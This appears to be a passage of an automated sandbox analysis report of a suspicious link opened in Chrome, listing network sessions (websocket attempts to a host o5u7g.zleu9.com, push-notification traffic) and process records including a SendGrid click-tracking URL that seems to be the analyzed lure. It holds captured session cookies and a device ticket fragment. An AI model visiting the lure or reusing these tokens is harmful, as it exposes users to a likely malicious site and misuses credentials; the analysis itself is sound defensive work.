2024-04-24 06:22:24 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 6c 52 67 6e 36 6a 44 51 70 6b 57 64 42 2f 66 62 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 61 33 33 30 32 32 63 32 62 35 31 61 66 33 30 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: lRgn6jDQpkWdB/fb.3Context: 8a33022c2b51af30<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-04-24 06:22:24 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-04-24 06:22:24 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 43 33 67 74 2f 34 6f 36 4a 30 6d 66 53 39 5a 47 5a 31 4c 31 62 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: C3gt/4o6J0mfS9ZGZ1L1bQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.6	49821	172.67.143.205	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:22:26 UTC	1283	OUT	GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1 Host: o5u7g.zleu9.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://o5u7g.zleu9.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ik9wK1JyWUV6OUdUYk9KbjRRdHBjMkE9PSIsInZhbHVlIjoiRFozeDRRTW5UMWxNdnBlblBwd1cyUFNmdHZRdWpOZ0JoS2lHdTlMeVd5TVlFTVRDbTI1WDZ2K0dJTWZjSkYydXcweUJNcXRoK0txMTJJVHcxS2grbmZyQUtRNzFlcWJiRTA2L004SzFHNmZ0Z1FjcVZzNkRmRnZubHBaVzc3Q2ciLCJtYWMiOiI5OGMwOTBlNWQ0ZGVkMWQwNzZlNzcxZDg1ZDdkMjBjY2NjZDk5OTgxM2NmZDRlNzhhMGQ4YTY4YThhZGRjZWJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJPTWNiNTduSTNZbko4U0lGbDJ4OFE9PSIsInZhbHVlIjoicHpDMHpaRSsvaHZYWk5FZXp1aWQ0aThlS2ppQUdDNW1wdlhqZi9xVU5VRTJNb2dMUElaM3Iwc1prNFAwbkp3RUozenZKT2E5Rzg5RGJ0L3MrMG43N1daSG9jMVFxemFhYTNPU2QwcG0rczVqbXFqOTdMWXpJa3U0a2xWMW44MXkiLCJtYWMiOiIzMTM5ZDQ0NmFiZjRjMWY1NjMwMjI2M2QxNjhlOGNlODYyYjc5ZWNkZWZhNzFlYmViNGNmY2ZjZTk3YzU4Y2FjIiwidGFnIjoiIn0%3D Sec-WebSocket-Key: 5zY/EatM12CzwHGjI0DyMw== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-04-24 06:22:27 UTC	577	IN	HTTP/1.1 400 Bad Request Date: Wed, 24 Apr 2024 06:22:27 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NfiiebdfUi16181jPLZl%2BUZX0tMlY7QLUFzx2BVkfcrRGai%2BibhPZdO9hTJnC5wawXplrAOW%2FzhcotBcbaiNlHpdpLnx85JHJwAbxqiAWboFVEDjYSKnwIn%2BIn56M9lGzy0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8793ffbae9022a9b-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 06:22:27 UTC	40	IN	Data Raw: 32 32 0d 0a 7b 22 63 6f 64 65 22 3a 33 2c 22 6d 65 73 73 61 67 65 22 3a 22 42 61 64 20 72 65 71 75 65 73 74 22 7d 0d 0a Data Ascii: 22{"code":3,"message":"Bad request"}
2024-04-24 06:22:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.6	49823	35.190.80.1	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:22:38 UTC	532	OUT	OPTIONS /report/v4?s=C%2F5Y20FLlb1C9qjojdfXxADbYVDagsxic45f0wa9gLbdQhHDnVbwLmpTIVkB%2BMSQ3tubvN2q9JnJiO7UMlcFehBcuzufmnYpEBEJTNndiMlgG4jA46yCoI79ThovIw%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://o5u7g.zleu9.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 06:22:38 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Wed, 24 Apr 2024 06:22:38 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.6	49824	35.190.80.1	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:22:39 UTC	474	OUT	POST /report/v4?s=C%2F5Y20FLlb1C9qjojdfXxADbYVDagsxic45f0wa9gLbdQhHDnVbwLmpTIVkB%2BMSQ3tubvN2q9JnJiO7UMlcFehBcuzufmnYpEBEJTNndiMlgG4jA46yCoI79ThovIw%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 848 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 06:22:39 UTC	848	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 33 37 39 36 37 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 32 34 34 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 31 34 33 2e 32 30 35 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 6f 35 75 37 67 2e 7a 6c 65 75 Data Ascii: [{"age":37967,"body":{"elapsed_time":1244,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"172.67.143.205","status_code":404,"type":"http.error"},"type":"network-error","url":"https://o5u7g.zleu
2024-04-24 06:22:39 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Wed, 24 Apr 2024 06:22:39 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.6	49825	172.67.143.205	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:22:46 UTC	1283	OUT	GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1 Host: o5u7g.zleu9.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://o5u7g.zleu9.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ik9wK1JyWUV6OUdUYk9KbjRRdHBjMkE9PSIsInZhbHVlIjoiRFozeDRRTW5UMWxNdnBlblBwd1cyUFNmdHZRdWpOZ0JoS2lHdTlMeVd5TVlFTVRDbTI1WDZ2K0dJTWZjSkYydXcweUJNcXRoK0txMTJJVHcxS2grbmZyQUtRNzFlcWJiRTA2L004SzFHNmZ0Z1FjcVZzNkRmRnZubHBaVzc3Q2ciLCJtYWMiOiI5OGMwOTBlNWQ0ZGVkMWQwNzZlNzcxZDg1ZDdkMjBjY2NjZDk5OTgxM2NmZDRlNzhhMGQ4YTY4YThhZGRjZWJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJPTWNiNTduSTNZbko4U0lGbDJ4OFE9PSIsInZhbHVlIjoicHpDMHpaRSsvaHZYWk5FZXp1aWQ0aThlS2ppQUdDNW1wdlhqZi9xVU5VRTJNb2dMUElaM3Iwc1prNFAwbkp3RUozenZKT2E5Rzg5RGJ0L3MrMG43N1daSG9jMVFxemFhYTNPU2QwcG0rczVqbXFqOTdMWXpJa3U0a2xWMW44MXkiLCJtYWMiOiIzMTM5ZDQ0NmFiZjRjMWY1NjMwMjI2M2QxNjhlOGNlODYyYjc5ZWNkZWZhNzFlYmViNGNmY2ZjZTk3YzU4Y2FjIiwidGFnIjoiIn0%3D Sec-WebSocket-Key: wiTtKCThPOjFvXPNgT3XHg== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-04-24 06:22:46 UTC	575	IN	HTTP/1.1 400 Bad Request Date: Wed, 24 Apr 2024 06:22:46 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1eUU01Se0w8Kj9kZqXHbSzW%2BmOyAIhZcWsCu1n3eThWXywJ%2F4EgEn2Rl7Z7zTM3iA%2BcC6aWzZZwhQrIVOAIIyWP0mOsFGAxHCNRPcKaySKXp5vuP42Y25sEbwakZCaFqYNc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879400340b282f38-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 06:22:46 UTC	40	IN	Data Raw: 32 32 0d 0a 7b 22 63 6f 64 65 22 3a 33 2c 22 6d 65 73 73 61 67 65 22 3a 22 42 61 64 20 72 65 71 75 65 73 74 22 7d 0d 0a Data Ascii: 22{"code":3,"message":"Bad request"}
2024-04-24 06:22:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	49826	20.7.1.246	443

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:22:51 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 73 6f 6e 4a 4d 52 41 47 62 6b 36 48 39 4b 47 71 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 66 38 31 32 32 38 30 34 30 38 64 39 65 35 39 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: sonJMRAGbk6H9KGq.1Context: 6f812280408d9e59
2024-04-24 06:22:51 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-04-24 06:22:51 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 73 6f 6e 4a 4d 52 41 47 62 6b 36 48 39 4b 47 71 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 66 38 31 32 32 38 30 34 30 38 64 39 65 35 39 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 63 48 4d 75 73 42 48 42 36 33 45 50 4e 34 55 6f 64 35 6e 45 35 4f 6d 52 4c 76 52 36 59 45 78 64 46 6b 56 78 6e 70 34 4b 53 59 59 6c 44 53 67 43 47 65 44 76 48 72 61 68 54 4f 72 6f 31 6a 6a 39 32 70 57 59 43 61 62 44 77 58 7a 7a 6e 34 4f 67 30 78 46 4a 2f 33 6c 59 57 79 4b 65 6e 61 30 46 76 53 34 51 33 33 37 4d 4d 2b 79 78 42 Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: sonJMRAGbk6H9KGq.2Context: 6f812280408d9e59<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAcHMusBHB63EPN4Uod5nE5OmRLvR6YExdFkVxnp4KSYYlDSgCGeDvHrahTOro1jj92pWYCabDwXzzn4Og0xFJ/3lYWyKena0FvS4Q337MM+yxB
2024-04-24 06:22:51 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 73 6f 6e 4a 4d 52 41 47 62 6b 36 48 39 4b 47 71 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 66 38 31 32 32 38 30 34 30 38 64 39 65 35 39 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: sonJMRAGbk6H9KGq.3Context: 6f812280408d9e59<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-04-24 06:22:52 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-04-24 06:22:52 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 2f 73 62 36 4d 68 4a 70 39 30 32 33 50 50 58 39 46 32 79 30 36 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: /sb6MhJp9023PPX9F2y06g.0Payload parsing failed.

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

Behavior

Click to jump to process

System Behavior

Analysis Process: chrome.exePID: 6792, Parent PID: 6032

General

Target ID:	0
Start time:	08:21:01
Start date:	24/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 368, Parent PID: 6792

General

Target ID:	2
Start time:	08:21:04
Start date:	24/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1996,i,18295829002547481321,4121505981409542590,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 6564, Parent PID: 6032

General

Target ID:	3
Start time:	08:21:09
Start date:	24/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://u44056869.ct.sendgrid.net/ls/click?upn=u001.nH1ryR-2Btr2av-2Bkfc8quLEXKlGRKFonctFf3nB-2FAP-2Bjae3IsQgCoKtK-2FQ57cEEmmhZzRyd07G16kQ6rsc4EaJT6S7Rh48kOVsBPHV-2Fkkk9Vfz7cojLOCLuj4sUGVMM7pbdmwtinmtiLhfYkhEkgve628OiJsccHyeYc3lkmkn6epsOmmj4-2Fi-2BWjxfm73m7vUzCOGnDWnQJBmmd6DmkDcfIw-3D-3DU_vL_MRfqZW9nS4IDBSHT8MfJfSAq9b0aOVvtJoUhpW1Ga8ePAnfV-2FfXwE0xIGnayeXag21qNKRc5VLcgMkPlIuCBf7Hi8EFUvj1-2FlklJpMLZNx1IQq8eO26tVdmeuxhGn-2B2zjA71oEkiC9pTrxX9Dz-2FMJk8mkJr62ye1KlBo-2B8fxBlVl-2B6T0POpB0GKoibGhcjh4Z-2FnPU453nMAkUkNy65MlaA-3D-3D"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly